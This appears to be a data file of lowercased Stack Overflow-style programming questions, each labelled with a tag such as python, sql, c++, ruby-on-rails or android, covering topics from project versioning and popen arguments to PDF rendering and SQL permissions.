python project versioning <h2>the problem:</h2>   i need to set versioning in my <code>python</code>project.<br> every time i make a release - i merge my <strong>production</strong> and <strong>development</strong> branches in my vcs.<br> i need to make the least amount of corrections in setting up version of the project and automate the process.     <h2>what i`ve done:</h2>  <ul> <li>i`ve read <a href= http://www.python.org/dev/peps/pep-0396/  rel= noreferrer >pep 396</a> about module versioning (it is not exactly what i need)  </li> <li>i figured out how to set up a version for the project with <code>setup.py</code> file in <a href= http://docs.python.org/2/distutils/setupscript.html  rel= noreferrer >this documentation</a></li> <li>i figured out how <code>django</code> works with its versions <a href= https://github.com/django/django/blob/master/django/__init__.py  rel= noreferrer >here</a>  </li> </ul>  <h2>my next steps:</h2>   i need for my release:     <ul> <li>release date  </li> <li>revision  </li> <li>version number  </li> </ul>   so i plan to make my release number format <code>major.minor.changeset</code>  because keeping the release date in the version makes it pretty long. i want to create <code>version.py</code> file:   <pre><code>major_version = 1 minor_version = 1 release_date =  28 .08.2013     def get_revision ():     ...  def get_version ():    .... </code></pre>   and import the version from there when i need it (but i m affraid that someone can forget to set up proper date)  and put the file <code>change.txt</code> next to it which describes release changes.   <h2>the question:</h2>   i want to know how do you set versions in your <code>python</code> projects and how should i convert my idea to simplify my scheme.,python
apipie with docs separate from controller code  i m using the <a href= https://github.com/apipie/apipie-rails  rel= nofollow >apipie gem</a>  which i find great in every way except it seems that i have to include my api documentation right inside my controller code  which imo really hurts the easy navigability of the code. is there any way to use apiepie but have the documentation separate somewhow,ruby-on-rails
how do i pass parameter values to popen   from the python console this works:   <pre><code>convert -quality 100 in.pdf out.png </code></pre>   but when i add that command to my python script like this:   <pre><code>popen([ convert    -quality 100    in.pdf    out.png ]) </code></pre>   i get:   <pre><code>unrecognized option `-quality 100  </code></pre>   if i change that parameter to <code> -quality=100 </code> i still get the error.    i tried fixing it like this:   <pre><code>popen([ convert    -quality    100    in.pdf    out.png ]) </code></pre>   which runs but fails to produce an <code>out.png</code>.    update: the last version is working. i must have mistyped it originally.,python
how to order table using the row number and another field  i need to order a table by using the row number and also with another field.  my query is:   <pre><code>select rownum a.hospitalnumber a.patientid a.admissiondate  a.patientname c.age c.gender a.icdcode b.shortname  d.unitname  from icdledger a departmentmast b registration c inpatient d  where a.departmentcode=b.departmentcode     and a.hospitalnumber=c.hospitalnumber     and a.hospitalnumber=d.hospitalnumber     and a.admissiondate&gt;=to_date( 01/apr/2015 )     and a.admissiondate&lt;=to_date( 16/apr/2015 )     and a.icdcode= z38.0      and b.departmentname= paediatrics  </code></pre>   how to order by using <code>rownum</code> and <code>admissoindate</code>,sql
ibook application type table shelf screen <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5732878/ibook-bookshelf-type-tableview >ibook bookshelf type tableview</a>    </blockquote>     hello all     in one of my book reader type application i want to implement screen same as ibook type table shelf view  any help  for ex.    <img src= https://i.stack.imgur.com/j3phd.png  alt= enter image description here >,iphone
inserting related mysql data with auto_increment  i m looking at a database that has 3 tables into which i have to insert data:   <pre><code>resource   id (auto_increment)   name  resource_item   id (auto_increment)   name   resource_id (fk ref resource.id)  resource_item_business_function   id (auto_increment)   business_function_name   resource_item_id </code></pre>   what i m struggling with is the fact that this must be scripted. i m only inserting 1 <code>resource</code> record so i can script the insert into the <code>resource</code> table easily enough. i have ~20 <code>resource_item</code> records to insert for that <code>resource</code> and i can even do that easily enough using the <code>last_insert_id()</code> function. the question is...<em>how do i insert into <code>resource_item_business_function</code> </em>    i have no idea how to insert the <em>proper</em> <code>resource_item_id</code> into each <code>resource_item_business_function</code> record. any thoughts would be much appreciated.,mysql
how to randomize a set of numbers  lets say i wanted the user input to be randomized. like if the user inputted  1234567890     the output would be like  5684319027  or any random number  as the numbers got randomized.    so how would i randomize a user input,c++
writing to a file and maintain the syntax  started with python after a long time:    basically i am trying to read a line from a file:   <pre><code>my_file                     = test1.hgx  </code></pre>   eventually i want to change this test1.hgx with:   <pre><code>test1_para1_para2_para3.hgx </code></pre>   where para1 23 are the parameters i want to write.    i wrote a code below   <pre><code>add_name=  %s %(filename)+ _ + %s %(para1)+ _ + %s %(para2)+ _ + %s %(para3)+ .hgx  print  added_name:  add_name  with open(filename) as f:  lines = f.read().splitlines() with open(filename   w ) as f:     for line in lines:         if line.startswith(  my_file ):              f.write(line.rsplit(     1)[0] +  \ %s \n %add_name)         else:             f.write(line +  \n ) f.close </code></pre>   the above code works as expected and writes out when i execute the python code once:   <pre><code>my_file                     = test1_01_02_03.hgx  </code></pre>   however when i run the python code once again for the second time it eats up the  =  and writes the following:   <pre><code>my_file                      test1_01_02_03.hgx  </code></pre>   can i add something to my existing code that would always preserve the writing of the  test1_01_02_03.hgx . i think there is problem with :   <pre><code>f.write(line.rsplit(     1)[0] +  \ %s \n %add_name) </code></pre>   however i am not able to figure out the problem. any ideas would be helpful. thanks.,python
no route matches [post]  /articles/new  - why   i made the following introduction: <a href= http://guides.rubyonrails.org/getting_started.html  rel= nofollow noreferrer >http://guides.rubyonrails.org/getting_started.html</a>    and after that  i wanted to create a new field (like title) and got the error notification:    here is my code:    <strong>routes.rb</strong>   <pre><code>rails.application.routes.draw do   get  welcome/index     resources :articles do     resources :comments     resources :description     root  welcome#index       # for details on the dsl available within this file  see guides.rubyonrails.org/routing.html   end end </code></pre>   i know that this question has been asked a lot but their solutions didn t helped me.    what should i do     regards,ruby-on-rails
getting error when try to use where clause before left joins tables  my code:   <pre><code>alter procedure [dbo].[resv_loadresv] as begin     select          rs.[id] as  id           bkngsrc.[sourcename] as  bkngsrc           paymode.[description] as  paymode           rs.[guestname] as  guestname           rs.[addr] as  addr           rs.[city] as  city           rs.[entrydate] as  entrydate      from          dbo.resvreg rs     -- when i try to put where clause here  i get an error     where          entrydate &gt;=  11/08/2018      left join          [dbo].[bkngsource] bkngsrc on rs.[bkngsrc] = bkngsrc.[id]     left join          [dbo].[paymentmode] paymode on rs.[paymode] = paymode.[id] end </code></pre>,sql
could i add an association based on another association   my user model looks like:   <pre><code>user    habtm  :roles   role    habtm  :users   roleextension    belongs_to  :role </code></pre>   mysql tables:   <pre><code>users   id   ..   roles   id   ..  roles_users   user_id   role_id  role_extensions   id   role_id   feature_id   ..   .. </code></pre>   now everything seems to be working fine so far.    <strong>now i want the user model to have a collection of roleextensions  based on the habtm roles collection.</strong>    example:   <pre><code>user = user.find(1) user.roles  (returns roles with id s of 1 2 3) </code></pre>   so i want:   <pre><code>user.roleextensions  </code></pre>   to return all role extensions that have role_id in (1 2 3),ruby-on-rails
how many unique titles   i need to count how many records there are where the <code>title</code> field has unique values.    i can select those records by:    <code>select * from table group by title</code>    but when i tried to count them. i get the number of duplicates. not the number of rows.    <code>select count(*) from table group by title</code>,mysql
iphone phone call audio stream  does the iphone sdk allow you to hook into a phone call s audio stream   for instance  could you programatically place a call and send data to a receiving modem   if so  would you kindly point me to the api documentation,iphone
oneofatype container -- storing one each of a given type in a container -- am i off base here   i ve got an interesting problem that s cropped up in a sort of pass based compiler of mine. each pass knows nothing of other passes  and a common object is passed down the chain as it goes  following the chain of command pattern.    the object that is being passed along is a reference to a file.    now  during one of the stages  one might wish to associate a large chunk of data  such as that file s sha512 hash  which requires a reasonable amount of time to compute. however  since that chunk of data is only used in that specific case  i don t want all file references to need to reserve space for that sha512. however  i also don t want other passes to have to recalculate the sha512 hash over and over again. for example  someone might only accept files which match a given list of sha512s  but they don t want that value printed when the file reference gets to the end of the chain  or perhaps they want both  or... .etc.    what i need is some sort of container which contain only one of a given type. if the container does not contain that type  it needs to create an instance of that type and store it somehow. it s basically a dictionary with the type being the thing used to look things up.    here s what i ve gotten so far  the relevant bit being the <code>filedata::get&lt;t&gt;</code> method:   <pre><code>class filedata; // cache entry interface struct filedatacacheentry {     virtual void initalize(filedata&amp;)     {     }     virtual ~filedatacacheentry()     {     } };  // cache itself class filedata {     struct entry     {         std::size_t identifier;         filedatacacheentry * data;         entry(filedatacacheentry *datatostore  std::size_t id)             : data(datatostore)  identifier(id)         {         }         std::size_t getidentifier() const         {             return identifier;         }         void deletedata()         {             delete data;         }     };     windowsapi::referencecounter refcount;     std::wstring filename_;     std::vector&lt;entry&gt; cache; public:     filedata(const std::wstring&amp; filename) : filename_(filename)     {     }     ~filedata()     {         if (refcount.islastobject())             for_each(cache.begin()  cache.end()  std::mem_fun_ref(&amp;entry::deletedata));     }     const std::wstring&amp; getfilename() const     {         return filename_;     }      //relevant method here     template&lt;typename t&gt;     t&amp; get()     {         std::vector&lt;entry&gt;::iterator founditem =              std::find_if(cache.begin()  cache.end()  boost::bind(             std::equal_to&lt;std::size_t&gt;()  boost::bind(&amp;entry::getidentifier  _1)  t::typeid));         if (founditem == cache.end())         {             std::auto_ptr&lt;t&gt; newcacheentry(new t);             entry toinsert(newcacheentry.get()  t::typeid);             cache.push_back(toinsert);             newcacheentry.release();             t&amp; result = *static_cast&lt;t*&gt;(cache.back().data);             result.initalize(*this);             return result;         }         else         {             return *static_cast&lt;t*&gt;(founditem-&gt;data);         }     } };  // example item you d put in cache class filebasicdata : public filedatacacheentry {     dword    dwfileattributes;     filetime ftcreationtime;     filetime ftlastaccesstime;     filetime ftlastwritetime;     unsigned __int64 size; public:     enum     {         typeid = 42     }     virtual void initialize(filedata&amp; input)     {         // get file attributes and friends...     }     dword getattributes() const;     bool isarchive() const;     bool iscompressed() const;     bool isdevice() const;     // more methods here };  int main() {     // example use     filedata fd;     filebasicdata&amp; data = fd.get&lt;filebasicdata&gt;();     // etc } </code></pre>   for some reason though  this design feels wrong to me  namely because it s doing a whole bunch of things with untyped pointers. am i severely off base here  are there preexisting libraries (boost or otherwise) which would make this clearer/easier to understand,c++
create image and text multipage pdf file from scrollview in swift  i have tried some stackoverflow alternatives but text and images are not rendered  only the pdf pages are created in the pdf file. below my logic for ios swift 4. i appreciate any help  thanks in advance. relatório is my scrollview and page type is a4. below logic is part of a function after the scrollview is created.   <pre><code>let pdfdata = nsmutabledata() let scrollheigt = self.relatorio.contentsize.height let rawnumberofpages = scrollheigt/cgfloat(841.8) let numberofpages = int(ceil(rawnumberofpages)) var pagenumber = int() let pagesize = cgsize(width:595.2  height:841.8) uigraphicsbeginpdfcontexttodata(pdfdata  cgrect.zero  nil) let pdfcontext:cgcontext = uigraphicsgetcurrentcontext()! repeat  {     uigraphicsbeginpdfpagewithinfo(cgrect(x:0  y:0  width:pagesize.width  height:pagesize.height)  nil)     if pagenumber &lt; 1      {         self.relatorio.layer.render(in: pdfcontext)      }      else      {         if pagenumber &gt;= 1          {             let offsetforscroll = cgfloat(pagenumber*842)             self.relatorio.setcontentoffset(cgpoint(x:0  y:offsetforscroll)  animated: false)             pdfcontext.translateby(x:0  y:offsetforscroll)             self.relatorio.layer.render(in: pdfcontext)          }     }     pagenumber = pagenumber + 1 } while pagenumber &lt; numberofpages  uigraphicsendpdfcontext()  //  save to document directory.  let documentspath = nssearchpathfordirectoriesindomains(.documentdirectory  .userdomainmask  true)[0] pdfdata.write(tofile:  \(documentspath)/new.pdf   atomically: true)  return (pdfdata  \(documentspath)/new.pdf ) </code></pre>,ios
how to calculate mean-squared displacement from a file in c++   i want to calculate the mean-squared displacements of atoms from a file in c++. i have the file where the atoms positions in each time step is written like below where 1..5 column respectively represents timestep  atom  and x y z co-ordinates of that atom.   <pre><code>timestep = 0000000  0000000   fe      0     0     0 0000000   fe      0     1     0 ......    ..      ..    ..    ..  timestep = 1000000  1000000   fe      0     0     1 1000000   fe      0     0     2 .......   ..      ..    ..    .. and so on... </code></pre>   what i want is the length of the vector difference of the atoms and the time difference and then calculate msd in a separate file (say  msd.txt ) where the 1st column would be in this particular case 1000000 and the 2nd column would be ([001 - 000]^2 + [002 - 010]^2)/2 i.e.  squared of the displacement of the atoms. the displacement of individual atom is simply the length of the vector difference of individual atom. as in this case the 1st atom moves to [001] position from [000] position. a simple c++ code would be really helpful in this regard as i am really new in c++. i have written a sample code for this as shown below:    <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;cmath&gt;  using namespace std;  int natoms = 16; //number of atoms   double length() const  // computes the length of the vector   {     return sqrt(x * x + y * y + z * z);   }   int main () {   ofstream ofile( msd.txt );   ofile &lt;&lt;  # time  msd  &lt;&lt; endl;   vector&lt;vector&lt;double&gt; &gt; table;  // stores  dr  for all the atoms and different time steps    for (int t = 0; t &lt; maxsteps; t++)    {         timestep = 1000         ct = (t+1)*timestep;         vector&lt;double&gt; column;         vector&lt;double&gt; rt; vector&lt;double&gt; r0;         for (int i = 0; i &lt; natoms; i++)         {                 double dr = rt[itarget] - r0[iorigin];                 double dr2 = dr * dr;                 column.push_back(dr2);         }         double sum_of_dr2 = 0. ; double msd = 0. ;         for(std::vector&lt;double&gt;::iterator it = column.begin(); it != column.end(); ++it)                 sum_of_dr2 += *it;          msd = sum_of_dr2 * (1./(double)natoms);         table.push_back(column);         ofile &lt;&lt; ct &lt;&lt;  \t  &lt;&lt; msd &lt;&lt; endl;    }   ofile.close();    return 0; } </code></pre>   but i don t know how to read from the given file so that i can have the <code>length</code> of the vector difference for each atom stored in <code>dr</code> in the sample code. here <code>length</code> of the vector of 1st and 2nd atom after a time step 1000000 would be sqrt((0-0)^2+(0-0)^2+(0-1)^2) and sqrt((0-0)^2+(0-0)^2+(0-2)^2) resp. these data should be stored in <code>dr[i]</code> (say) where <code>i</code> = 1 2 ..n is the no of atom.,c++
box shadow for bottom side only  i have an box of content and need to give shadow for that. but i want to give shadow for the bottom of the box only. i used this <code>css box-shadow: 0 3px 5px #000000;</code>     if i give this code it shows left right and bottom. i need bottom only    can any one suggest to solve this one. thanks a lot,css
python module name aliases   i ve got a module called  cloud.aws.boto . i need this to import the boto library i installed into my virtualenv.    if i add <code>import boto.ec2</code> to my  cloud.aws.boto.py  file  python complains because it s trying to import  ec2  from the local file instead of the library in my virtualenv.    how can i import another module with the same name as the one i m importing from,python
converting string to enum   i have the following enum in my class:   <pre><code>  public enum inventorytype     {         equip = 1          use = 2          setup = 3          etc = 4          cash = 5          evan = 6          totems = 7          android = 8          bits = 9          mechanic = 10          haku = 11          equipped = -1     } </code></pre>   now  i have a field:   <pre><code>    public inventorytype inventorytype { get; private set; } </code></pre>   i load the data from mysql. mysql s column of type has the string that is the inventorytype. how can i convert the string i get to the enum inventorytype     i tried:   <pre><code>this.inventorytype = reader.getstring( type ); </code></pre>   but of course  that doesn t work  because it s getting a string and required an inventorytype. what can i do to convert it  thanks.,c#
your app contains embedded private keys or keystore files org/bouncycastle/openssl/test/data/dsa/openssl_dsa_aes128_cbc.pem  i cannot find any .pem file in the library or in my project. but when i extract my apk i could able to see those file. how to get rid of this,android
animate leafing through   is there any way to animate leafing through views to look like a real book leafing through,iphone
why does the  overflow  property give the different result   the title in first div(overflowhidden) is not in the same vertical position with the title in second div(nooverflow).     the jsfiddle link is as below:    <a href= http://jsfiddle.net/lrnz4mff/  rel= nofollow >jsfiddle link</a>    the html is   <pre><code>&lt;div class= line &gt;     &lt;span class= attr &gt;title :&lt;/span&gt;     &lt;span id= overflowhidden  class= content &gt; this is long content&lt;/span&gt; &lt;/div&gt;  &lt;div class= line &gt;     &lt;span class= attr &gt;title :&lt;/span&gt;     &lt;span id =  nooverflow  class= content &gt; this is long content&lt;/span&gt; &lt;/div&gt; </code></pre>   the css is:   <pre><code>.line {     height: 30px;     width: 200px;     outline: 1px dashed; }  .attr {     position: relative;     width: 30px; }  .content {     position: relative;     display: inline-block;     left: 40px;     width: 100px;     height: 20px;     line-height: 20px;     text-overflow: ellipsis;     white-space: nowrap;     border-radius: 15px;     border: 1px solid greenyellow; }  #overflowhidden {     overflow: hidden; }    </code></pre>,css
i cannot play the video from url  i have made an application which populates a listview from parsing json  when i click on the listview  the new activity opens perfectly  all the variables i want from the previous activity gets transferred and displayed on the current activity flawless  but the video doesn t play.    here is the log cat;   <pre><code>10-28 15:01:01.547: v/videoviewdemo(18257): path: http://www.example.com/mov.wmv 10-28 15:01:01.597: e/videoviewdemo(18257): error: null 10-28 15:01:01.597: e/videoviewdemo(18257): android.os.networkonmainthreadexception 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.os.strictmode$androidblockguardpolicy.onnetwork(strictmode.java:1118) 10-28 15:01:01.597: e/videoviewdemo(18257):     at java.net.inetaddress.lookuphostbyname(inetaddress.java:385) 10-28 15:01:01.597: e/videoviewdemo(18257):     at java.net.inetaddress.getallbynameimpl(inetaddress.java:236) 10-28 15:01:01.597: e/videoviewdemo(18257):     at java.net.inetaddress.getallbyname(inetaddress.java:214) 10-28 15:01:01.597: e/videoviewdemo(18257):     at libcore.net.http.httpconnection.&lt;init&gt;(httpconnection.java:70) 10-28 15:01:01.597: e/videoviewdemo(18257):     at libcore.net.http.httpconnection.&lt;init&gt;(httpconnection.java:50) 10-28 15:01:01.597: e/videoviewdemo(18257):     at libcore.net.http.httpconnection$address.connect(httpconnection.java:340) 10-28 15:01:01.597: e/videoviewdemo(18257):     at libcore.net.http.httpconnectionpool.get(httpconnectionpool.java:87) 10-28 15:01:01.597: e/videoviewdemo(18257):     at libcore.net.http.httpconnection.connect(httpconnection.java:128) 10-28 15:01:01.597: e/videoviewdemo(18257):     at libcore.net.http.httpengine.opensocketconnection(httpengine.java:315) 10-28 15:01:01.597: e/videoviewdemo(18257):     at libcore.net.http.httpengine.connect(httpengine.java:310) 10-28 15:01:01.597: e/videoviewdemo(18257):     at libcore.net.http.httpengine.sendsocketrequest(httpengine.java:289) 10-28 15:01:01.597: e/videoviewdemo(18257):     at libcore.net.http.httpengine.sendrequest(httpengine.java:239) 10-28 15:01:01.597: e/videoviewdemo(18257):     at libcore.net.http.httpurlconnectionimpl.connect(httpurlconnectionimpl.java:80) 10-28 15:01:01.597: e/videoviewdemo(18257):     at info.androidhive.jsonparsing.videoviewdemo.getdatasource(videoviewdemo.java:143) 10-28 15:01:01.597: e/videoviewdemo(18257):     at info.androidhive.jsonparsing.videoviewdemo.playvideo(videoviewdemo.java:124) 10-28 15:01:01.597: e/videoviewdemo(18257):     at info.androidhive.jsonparsing.videoviewdemo.access$0(videoviewdemo.java:108) 10-28 15:01:01.597: e/videoviewdemo(18257):     at info.androidhive.jsonparsing.videoviewdemo$5.run(videoviewdemo.java:101) 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.app.activity.runonuithread(activity.java:4755) 10-28 15:01:01.597: e/videoviewdemo(18257):     at info.androidhive.jsonparsing.videoviewdemo.oncreate(videoviewdemo.java:99) 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.app.activity.performcreate(activity.java:5177) 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1094) 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.app.activitythread.performlaunchactivity(activitythread.java:2074) 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.app.activitythread.handlelaunchactivity(activitythread.java:2135) 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.app.activitythread.access$700(activitythread.java:143) 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.app.activitythread$h.handlemessage(activitythread.java:1241) 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.os.handler.dispatchmessage(handler.java:99) 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.os.looper.loop(looper.java:137) 10-28 15:01:01.597: e/videoviewdemo(18257):     at android.app.activitythread.main(activitythread.java:4950) 10-28 15:01:01.597: e/videoviewdemo(18257):     at java.lang.reflect.method.invokenative(native method) 10-28 15:01:01.597: e/videoviewdemo(18257):     at java.lang.reflect.method.invoke(method.java:511) 10-28 15:01:01.597: e/videoviewdemo(18257):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:1004) 10-28 15:01:01.597: e/videoviewdemo(18257):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:771) 10-28 15:01:01.597: e/videoviewdemo(18257):     at dalvik.system.nativestart.main(native method) 10-28 15:01:01.627: d/dalvikvm(18257): gc_concurrent freed 292k  15% free 9978k/11651k  paused 15ms+35ms  total 179ms 10-28 15:01:01.727: i/adreno200-eglsub(18257): &lt;configwindowmatch:2087&gt;: format rgba_8888. 10-28 15:01:01.897: e/spannablestringbuilder(18257): span_exclusive_exclusive spans cannot have a zero length 10-28 15:01:01.897: e/spannablestringbuilder(18257): span_exclusive_exclusive spans cannot have a zero length </code></pre>   here is my class;   <blockquote>      </blockquote>  <pre><code>package info.androidhive.jsonparsing;  import java.io.file; import java.io.fileoutputstream; import java.io.ioexception; import java.io.inputstream; import java.net.url; import java.net.urlconnection; import android.app.activity; import android.content.intent; import android.os.bundle; import android.util.log; import android.view.view; import android.view.view.onclicklistener; import android.webkit.urlutil; import android.widget.edittext; import android.widget.imagebutton; import android.widget.textview; import android.widget.toast; import android.widget.videoview;  public class videoviewdemo extends activity {     private static final string tag =  videoviewdemo ;  private videoview mvideoview; private edittext mpath; private imagebutton mplay; private imagebutton mpause; private imagebutton mreset; private imagebutton mstop; private string current; private static final string tag_name =  name ; private static final string tag_email =  email ; private static final string tag_phone_mobile =  mobile ; @override public void oncreate(bundle icicle) {     super.oncreate(icicle);     setcontentview(r.layout.main);     mvideoview = (videoview) findviewbyid(r.id.surface_view);     // getting intent data     intent in = getintent();      // get json values from previous intent     string name = in.getstringextra(tag_name);     string email = in.getstringextra(tag_email);     string mobile = in.getstringextra(tag_phone_mobile);      // displaying all values on the screen    // textview lblname = (textview) findviewbyid(r.id.name_label);     textview lblemail = (textview) findviewbyid(r.id.email_label);     textview lblmobile = (textview) findviewbyid(r.id.mobile_label);     // lblname.settext(name);     lblemail.settext(email);     lblmobile.settext(mobile);      mpath = (edittext) findviewbyid(r.id.path);     mpath.settext(name);     // mpath.settext( http://daily3gp.com/vids/747.3gp );      mplay = (imagebutton) findviewbyid(r.id.play);     mpause = (imagebutton) findviewbyid(r.id.pause);     mreset = (imagebutton) findviewbyid(r.id.reset);     mstop = (imagebutton) findviewbyid(r.id.stop);      mplay.setonclicklistener(new onclicklistener() {         public void onclick(view view) {             playvideo();         }     });     mpause.setonclicklistener(new onclicklistener() {         public void onclick(view view) {             if (mvideoview != null) {                 mvideoview.pause();             }         }     });     mreset.setonclicklistener(new onclicklistener() {         public void onclick(view view) {             if (mvideoview != null) {                 mvideoview.seekto(0);             }         }     });     mstop.setonclicklistener(new onclicklistener() {         public void onclick(view view) {             if (mvideoview != null) {                 current = null;                 mvideoview.stopplayback();             }         }     });     runonuithread(new runnable(){         public void run() {             playvideo();          }      }); }  private void playvideo() {     try {         final string path = mpath.gettext().tostring();         log.v(tag   path:   + path);         if (path == null || path.length() == 0) {             toast.maketext(videoviewdemo.this   file url/path is empty                       toast.length_long).show();          } else {             // if the path has not changed  just start the media player             if (path.equals(current) &amp;&amp; mvideoview != null) {                 mvideoview.start();                 mvideoview.requestfocus();                 return;             }             current = path;             mvideoview.setvideopath(getdatasource(path));             mvideoview.start();             mvideoview.requestfocus();          }     } catch (exception e) {         log.e(tag   error:   + e.getmessage()  e);         if (mvideoview != null) {             mvideoview.stopplayback();         }     } }  private string getdatasource(string path) throws ioexception {     if (!urlutil.isnetworkurl(path)) {         return path;     } else {         url url = new url(path);         urlconnection cn = url.openconnection();         cn.connect();         inputstream stream = cn.getinputstream();         if (stream == null)             throw new runtimeexception( stream is null );         file temp = file.createtempfile( mediaplayertmp    dat );         temp.deleteonexit();         string temppath = temp.getabsolutepath();         fileoutputstream out = new fileoutputstream(temp);         byte buf[] = new byte[128];         do {             int numread = stream.read(buf);             if (numread &lt;= 0)                 break;             out.write(buf  0  numread);         } while (true);         try {             stream.close();         } catch (ioexception ex) {             log.e(tag   error:   + ex.getmessage()  ex);         }         return temppath;     } } } </code></pre>,android
how to filter a model by using child model s field  i hava a <code>company</code> class that <code>has_many</code> <code>terminalvalue</code>. and the <code>terminalvalue</code> has a field `forecast.    i want to filter companies that have at least a <code>terminalvalue</code> those <code>forecast</code> is <code>true</code>.    i tried like this  but failed.   <pre><code> company.where(terminal_values: {forecast: true})   company load (2.3ms)  select  companies .* from  companies  where  terminal_values . forecast  =  t  pg::undefinedtable: error:  missing from-clause entry for table  terminal_values  line 1: select  companies .* from  companies  where  terminal_values...                                                     ^ : select  companies .* from  companies  where  terminal_values . forecast  =  t  </code></pre>   how can i write the filtering method that i want,ruby-on-rails
creating a subset of a set iteratively using vector  so i want to create a subset  run that subset through code  then create a new subset. i m using a vector for the set and subset. so far i have 3 nested for loops but i m having trouble figuring out the variables i need.    here s what i want to do. set = {0  1  2  3  4  5}  the value matches the index just to simplify this example. i now want subset = {} -> {0} -> {1} -> ... -> {0 1} -> {0 2} -> ... -> {0 5} -> {0 1 2} -> ... -> {0 4 5}. i m having trouble representing the conditions in terms of variables.    basically i want the first for loop to increase the subset size. from 0 to set.size() (this is easy). within that loop  i want to have an iterator corresponding to the index in the element of the subset. i have this iterator initialized to subset.size()  so that we work with the last element first  then work our way to the first element in the subset. then the 3rd for loop  i want to iterate between possible values from the set. let s say our current subset = {0 1 2} how do i let my program know to put the value  2  inside the last element of the subset  then 1 then 0     i m thinking it would involve something with taking the difference from set.size()-1 and subset.size()-1  but i m not quite sure how. so then i want to iterate through until {0 1 5} and then {0 4 5} but again i m not sure how to tell the program to stop at 4  as opposed to 5. again i think this is something with difference but i can t quite figure it out.    to recap:   <pre><code>for loop to iterate through subset size     for loop to iterate through subset  working  element  starting from back         for loop to iterate through that index of subset          starting from the correct corresponding set value to ending         at the correct corresponding set value </code></pre>   such that the subset goes from {} -> {0} -> {1} ->...-> {0 1} -> {4 5} -> {1 2 3} -> ... -> {1 4 5} and i dont actually need subset = {1 2 3 4 5} but it doesn t hurt my code if i can t stop before that. again i m looking to represent the start and end points as variables to make the inner loops work  but i can t figure it out. huge thanks to anyone who can help me out.,c++
why is  deny  used in data control language   i newly started to learn basics of sql and while i was searching about data manipulation language  data control language  data definition language something didn t make sense.     as far as i understand  data control language has 3 keywords: grant  deny  revoke.     grant  allows the specified users to do certain things.  revoke  destroys any security clearance the specified users have.    however  what i don t understand is  deny .     if users don t have a security clearance (is there a special term computer science ) to a specific database at the beginning  why would the programmer who designs the database would  deny  that user s clearance to that database  it doesn t make sense.    could someone tell me why and where to use  deny,sql
protect deeplink to unauthorized company  i have a multi-tenant application with companies which have many users and many clients.  i have protected the views and controllers with before_filters  so that the current_user can only view clients belonging to the user s company. this works fine  an unauthorized user receives a  you do not have sufficient rights for this action  message. but when a user changes the url from e.g.  /clients/1/edit  to  clients/2/edit   then he can edit a client from another company. what s the best way to protect this,ruby-on-rails
counting the number of documents containing a specific term <pre><code>file folder2 = new file( c:\\users\\user\\fypworkspace\\textrenderer );  file[] listoffiles2 = folder.listfiles();  system.out.println( please enter the required word  : );     scanner scan2 = new scanner(system.in);      string word2 = scan.nextline();     string [] array2 = word2.split(   );    { for (int i=0; i &lt; listoffiles.length; i++) {   if ((listoffiles2[i].getname().endswith( .txt )))   {        try       {       bufferedreader in= new bufferedreader(new filereader(listoffiles2[i].getname()));        int numdoc = 0;        scanner s2 = new scanner(listoffiles2[i].getname());       {           while (s2.hasnext())           {               if (s2.next().equals(word2)) numdoc++;           }              system.out.println( the number of document containing the term is   + numdoc);          }         in.close();     } catch (ioexception e) {     } </code></pre>   this is my code for counting the number of documents that contain a specific term. every time the program finds a specific term inside the document  it will increment numdoc counter. this code does not do anything  however. what am i doing wrong,java
where is the header style defined   while coding i always have to change the headers (<code>&lt;h1&gt; &lt;h2&gt; &lt;h3&gt;</code>) etc.. as i never like how they are styled  but where is the information for the header styles kept     obviously the headers are not styled in my css so i then thought that maybe it s something to do with the <code>doctype</code> or other code before <code>&lt;head&gt;</code> but removing all these didn t affect the header style at all!    so plain and simple; where is the header style defined !,css
jquery $( div ).html() - function problem  this code should not generate any html button dynamically. coz there is no div in the <code>&lt;html&gt;&lt;/html&gt;</code> section.    but it is generating one.    why    <pre><code>&lt;%@ page language= c#  autoeventwireup= true  codebehind= htmlrewriting.aspx.cs  inherits= jquery_intellisence_test.htmlrewriting  %&gt;  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml  &gt; &lt;head runat= server &gt;     &lt;title&gt;&lt;/title&gt;      &lt;script src= javascript/jquery-1.3.2.js  type= text/javascript &gt;         /// &lt;reference path= javascript/jquery-1.3.2-vsdoc.js  /&gt;     &lt;/script&gt;     &lt;script type= text/javascript &gt;         function rewrite() {             $( div ).html( &lt;input type= button  value= button1  /&gt; );         }     &lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;     &lt;/form&gt;     &lt;input id= button1  type= button  value= rewrite html element  onclick= rewrite()  /&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
when should i use helpers   i barely use them in my projects. is this normal  if i need to return just one line of html  say an image tag for a gravatar  then a helper is great:   <pre><code>def gravatar_for(user  height=90  width=90  alt=user.name +   s gravtatar )     gravatar_address =  http://1.gravatar.com/avatar/       clean_email = user.email.strip.downcase      hash = digest::md5.hexdigest(clean_email)      image_tag gravatar_address + hash  height: height  width: width  alt: alt  end </code></pre>   however  if i want to loop through some errors  and return html structure rather than a single line  it quickly gets difficult.    is a good rule of thumb if you want to return one line of html then use a helper  else use a partial to return more complex html,ruby-on-rails
mysql auto kill query  is it possible mysql to auto kill queries which took more than let`s say 20 seconds,mysql
